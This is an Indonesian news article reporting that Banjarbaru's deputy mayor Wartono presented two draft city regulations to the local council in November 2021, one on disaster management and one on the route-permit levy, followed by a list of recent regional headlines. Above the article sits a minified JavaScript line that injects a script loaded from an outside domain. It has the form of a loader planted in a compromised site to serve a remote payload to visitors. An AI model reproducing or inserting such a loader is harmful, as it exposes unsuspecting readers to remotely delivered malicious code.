(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Ini Dua Raperda Penyampaian dari Eksekutif ke DPRD Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Wakil Wali Kota Banjarbaru Wartono menyampaikan dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru di gedung Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru, Senin (1/11/2021).

Dua Raperda tersebut yakni Raperda penyelenggaran penanggulangan bencana dan Raperda tentang perubahan atas Perda Nomor 30 Tahun 2011 tentang retribusi izin trayek.

Disampaikan Wawali dalam Raperda penyelenggaraan penanggulangan bencana, penanganan penanggulangan bencana selalu dilaksanakan secara spontan, melibatkan seluruh elemen yang ada di Kota Banjarbaru.

“Baik itu instansi pemerintahan maupun masyarakat, supaya ketika penanggulangan bencana tidak terjadi miskomunikasi,” ujarnya.

 

Baca juga : DPRD Banjarbaru Usulkan Raperda Inisiatif Pondok Pesantren

Dalam hal ini menurut Wartono, harus ada kesiapan dari berbagai elemen yang terkait, harus ada pemahaman tentang bencana dan upaya penanggulangan yang harus dengan perencanaan yang matang.

“Dalam Perda ini diharapkan bisa menjadi acuan semua pihak untuk melaksanakan perannya masing-masing, didalamnya juga membuat prosedur partisipasi masyarakat. Adanya Perda ini bisa menjaga harmonisasi semua pihak,” ujarnya.

Sementara itu, Raperda tentang perubahan atas Perda Nomor 30 Tahun 2011 tentang retribusi izin trayek. Raperda ini disusun berdasarkan Undang-Undang Nomor 28 Tahun 2009 tentang pajak daerah dan retribusi daerah.

Raperda ini juga berdasarkan perkembangan keadaan yang berkaitan tentang peraturan pemerintah Nomor 74 Tahun 2014 tentang angkutan dalam dan peraturan Mentri Perhubungan Nomor 15 Tahun 2019 tentang penyelenggaraan angkutan orang dalam kendaraan bermotor umum dalam trayek.

“Perda ini sudah sepuluh tahun belum dilakukan peninjauan, sehingga Perda nomor 30 tahun 2011 diperlukan penyesuaian,” pungkasnya. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

2 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

3 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

4 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

4 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

4 jam ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

5 jam ago

This website uses cookies.